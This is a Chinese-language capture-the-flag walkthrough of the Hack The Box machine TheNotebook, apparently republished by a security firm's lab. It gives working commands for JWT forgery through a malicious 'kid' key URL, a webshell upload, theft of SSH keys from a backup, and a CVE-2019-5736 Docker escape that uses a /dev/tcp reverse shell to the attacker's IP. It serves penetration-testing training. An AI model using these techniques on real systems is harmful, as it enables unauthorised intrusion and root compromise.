0x01 靶场描述
Hack the box 是国外的一个靶机平台,里面的靶机包含多种系统类型,并且里面可以利用的漏洞类型多种多样,有很多靶机其实非常贴近实战情景。因此 HTB 是一个很好的学习渗透测试靶场,官网:https://www.hackthebox.eu/invite。TheNotebook特性如图:
0x02 靶场复现
知识点: 端口/漏洞扫描、JWT越权、docker逃逸漏洞提权(CVE-2019-5736)
一、端口/漏洞扫描,JWT越权
1.使用nmap扫描,发现该目标开启了22、80和10010端口
nmap -A -sS -sV -sC 10.10.10.230 #-A强力扫描 -sS SYN扫描 -sV识别服务版本 -sC调用脚本扫描
2.访问80端口,注册sm用户,获取cookie中的auth参数的内容,并放在https://jwt.io/#debugger-io网站中解码
1.解码前,发现其为JWT是一个JSON 网络令牌
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InNtIiwiZW1haWwiOiIxMjNAMTIzLmNvbSIsImFkbWluX2NhcCI6ZmFsc2V9.LQh_Poycj2WT680d3W0vHazztarRfMM7RhUzayc9MVhxZC6OIIKMkG8vBGJ1I0AGmvu-vtS-ZKJ6UN_P9SPeF7wkQxaJD5pTwnrgjluhsG0IfhdsJyG6NNSEQRBgxlXnDwSIkZEXubUfZMsmJRpdxuEhspdVbe1n8oddrjNtrMVdwrUOWWmj6QUxfPq3mU44BJmokna3ykmIyP54V3J5X8XlqAjGpWMbMfCkU0grkLMts8wfrJe1uDjjhDfzWCJQIuEqJYhWN2d4EOJ4bHKVXLPqej-QnLD9bOHIS5lPOJ9Eoqu6NYrTbzmSkE2ZX-KPp2omWrpG6ooW7Oyh2AlqSFvgCIOSroQlxrAsNQI7x8XsFss1hpmXN4HtTfC9my7bXleRSxJm7cDDFX2lSSqEEEhZPzq2qW2-F6vJXpBxVsgJwfxYfBx0FJ05vQ798RrPkxoMXUNzeHFQ3XcXIzuiBSjDyaQrIN9Dy8RvwQYk0S0n2wY0Ke3GBGOUtV7KjFozokWFq44A6ISAzKOmzEStOWpBW1OpqHHw2i8KUeqShjUTG8mbtR6VpHN0f1lcTjWyLK8hPtUfG_4BNDKaBFd20MqhYC__5I1EKFUNBCIA6k4Bn1Z6YvMtwzhiKxjXlh2qppVgrd0_RBfpvzxbFYUE82H3M6uAY12BC4Fd2jsEIes
2.解码后,为header.payload.signature格式
{
"typ": "JWT",
"alg": "RS256",
"kid": "http://localhost:7070/privKey.key"
}.{
"username": "sm",
"email": "123@123.com",
"admin_cap": false
}.验证签名
3.使用JWT提权,首先本地生成JWT公/私密钥
ssh-keygen -t rsa -b 2048 -m PEM -f privKey.key
4.python3生成一个http服务,以此来让靶机服务器下载privKey.key文件
python3 -m http.server 80
5.将(不带.pub的)文件内容放入脚本中,并填写好自己python3的http地址,生成(注:脚本中admin_cap参数要改为1)
1.脚本:
import jwt
key = '''-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA7u1pgufTeNL0BEm33Z+wWAWW0I3dltU/tRr9gpuy1RGqgrNr
bxLEl4cPdRxXJht5JQpzEjUzzVFKAOMjnVmaBCsMHfG3GnFx1Ysvn1CL52cnoc1V
sTyofV4WU5T3xfXY+axihyjUe4z35ak7sAFiujxNTdodgh2sZl+7bJHXhVxzEb+i
Get8MO8BwsawJJCMnG/MHIKfjMX68v1ilp1uPK2Z9e+ieWB+LFq4dxDAOxX2j4iV
KSO/XAfqwqw83Opa8q2LYeiazAK0wl0k6qLBt8TBvUgaLcYylxUyHlYEMz7qCxY/
MJMlONrREw/YsVTrh/xLmJg+lN0/3g0qJcO0YQIDAQABAoIBAQCA6zV9Xt1qWlk0
XxqIyPt74zgnPAUOt+3yKKgVazGpaijY8TrM6hGNuWCLzkjv1O8fH25Lqs1SwcPu
iqDS7GAAU8Hr/lrQN9o2YS3HBs0WhUCLO6I7SgGX88aUPtMay7bRsURQraVJLR0t
nI0KQRUmbBdCJKi7Zot5ibo1sNPbrqW4MDmI2U3R4B6W0TJOYD3H34hW7ND6/6Q0
HM+pOw3zgIkkUBPMYeuslHf9K1NV0jWpbLeVBBGVVFR1zhSUooz6MkNj5e+1f5P7
XtIVVmYW84bjo0KVLWOM8h9wAaAeBJQTe5ja/iId4Dn4AnxSfhSNETRf25T4NTY+
FSj8T75hAoGBAPmj+7MKuBfRwjL2zA84tol97HkzLyyM455zCO+NnslOIbmH/0nA
7qc0osfK4jfZqufWV6eXe7PL6xrv3COgixkb/oklR2lmURZfIEDl3SNA3lag0i+L
m2oCcs6PMHT5NX2dbR3zz9dMJ3EUytq+k0pHAnAJ3F6/muCjZ6oi6hNVAoGBAPUD
kEo10vy9A0AOzOHCsudcypZK4+8dAtfVCiAzlhHWZGca87C74NHH1gXi/TMiq5fl
/GCIYMatVNirSCPBunKVWKGPguRCGHcsEVelNVAQ/IdZ1dKYcAQWDGK0OCKJa0y4
JF7/7iOhxTMUByLVTbR1elx4IfzKzeL6Gq8SNPTdAoGALnPgK0HMXcpPa7JW6GIy
PUVsUmU+2vhghqR7PjBJIsZiKibvTycSgZSe0bSkAaaEUd2ls+7ROvSwC/QkL5D5
MTPvWk/QiQFcB2CuHMVpL90rQk1sryI4SjKocF1es/WHiZdYraEnxLVMBZPL54Zc
3A54mqaLFiprRG/Do3oZun0CgYAKdO16jVOE39g8qqUJ2ZJjF225/lY+BUHyzi/R
cgIsnrbIQ7k0yL/ulBXJSIe/3/Hs2K7tu8RNlmYxnRXGGOWJMGCI/KP8c+mxZFsV
H4Ln+OGeMTJT+5eERSCgMcrXhn/i1VUQDOIv+R5+cJNhZDMdyYnAWowwysMAteXf
pOpHrQKBgFFau+nxTFz92RzZbT47+Kadjj5sBR7w9aUFh9ESO2Gj6iNem/EM9bNe
+wCg659Ul9q3UQ2vdgX7O+rwXUnJzUmZtrVLvPOVKP9k4I9z3tvq6nO57Yqm/aeL
QPZZdml+/Se+z/1BXMegLKKHGtjPzbJQfboobrl6jQ5QAh2+3E/X
-----END RSA PRIVATE KEY-----'''
headers = {"typ": "JWT", "alg": "RS256", "kid": "http://10.10.14.7/privKey.key"}
payload = {"username": "sm", "email": "[email protected]", "admin_cap": 1}
print(jwt.encode(payload, headers=headers, key=key, algorithm='RS256'))
2.运行:
pip3 install PyJwt
python main.py
3.生成后的代码
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC43L3ByaXZLZXkua2V5In0.eyJ1c2VybmFtZSI6InNtIiwiZW1haWwiOiIxMjNAMTIzLmNvbSIsImFkbWluX2NhcCI6MX0.jfDjkaDKTZy9D-spc-XXJNPG5TtZMxzqy-Di-bvJM3KGMvGXnbAKMVfzdYdCHvmYDMfZxOjDDha6sK3tkVKuPQeEEFukCCbQ9a1VLZUysdx-kSTKNzeb1Akex5I0BwcHwlLqWju5mWs_Y8aqDOSHx_U-PXlrouOaYE2JIunddZuw2FvtJ1BG9FHgfWPnhiJYhBuXS-vI60x8-f98Pt3YDm_bhJ3qK8Lxoviz4lplsJ-gzU0on6iwirc0oK4OnlPKLj7OPNM2wlREK2bvaiI2wIYD8dyq9_x5Swoaqna27mtAIAGdnOLQEtgNzJrIUcv_r9zPrIATsa-cGB4SY5yORg
6.登录sm账户并通过浏览器替换cookie刷新,发现多了一个Admin栏,至此越权成功
7.找到upload栏,上传哥斯拉马,连接,得到一个webshell
http://10.10.10.230/472c221c7a03e3d927da66ae0cb35274.php 密码:pass
8.信息收集,找到可疑备份文件home.tar.gz,并下载
/var/backups/home.tar.gz
9.发现文件内容中有noah登录的公私钥
ls -al 查看隐藏文件和权限
10.尝试登录成功,拿到user.txt的flag
ssh noah@10.10.10.230 -i id_rsa
二、docker逃逸漏洞提权(CVE-2019-5736)
前置知识: 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,SUSELinuxGmbH高级软件工程师AleksaSarai公布了影响Docker,containerd,Podman,CRI-O等默认运行时容器runc的严重漏洞CVE-2019-5736。漏洞细节:https://www.freebuf.com/articles/web/258398.html
影响版本:
docker version <=18.09.2 RunC version <=1.0-rc6
1.查看sudo权限,并提权,查看docker版本
1.查看sudo权限
sudo -l
2.提权
sudo /usr/bin/docker exec -it webapp-dev01 sh -c "su"
3.查看docker版本
docker -v
2.下载提权脚本
1.下载poc
https://github.com/Frichetten/CVE-2019-5736-PoC
2.编辑poc,根据自己的实际情况填写ip和port
"#! /bin/bash n bash -i >& /dev/tcp/10.10.14.7/4444 0>&1"
3.go编译
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
4.nc监听
nc -lvnp 4444
5.通过python3开启http服务将提权脚本下载到靶机
1.开启http
python3 -m http.server 888
2.下载
wget http://10.10.14.7:888/main
3.给予执行权限
chmod +x main
5.执行脚本,同时再开一个shell窗口,执行docker
1.ssh1,执行脚本
./main
2.ssh2,执行docker
sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
6.nc得到root权限和flag
cat ~/root.txt
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
0x03 公司简介
江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......
编制:sm
审核:fjh
审核:Dog
原文始发于微信公众号(融云攻防实验室):Hack The Box-TheNotebook
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论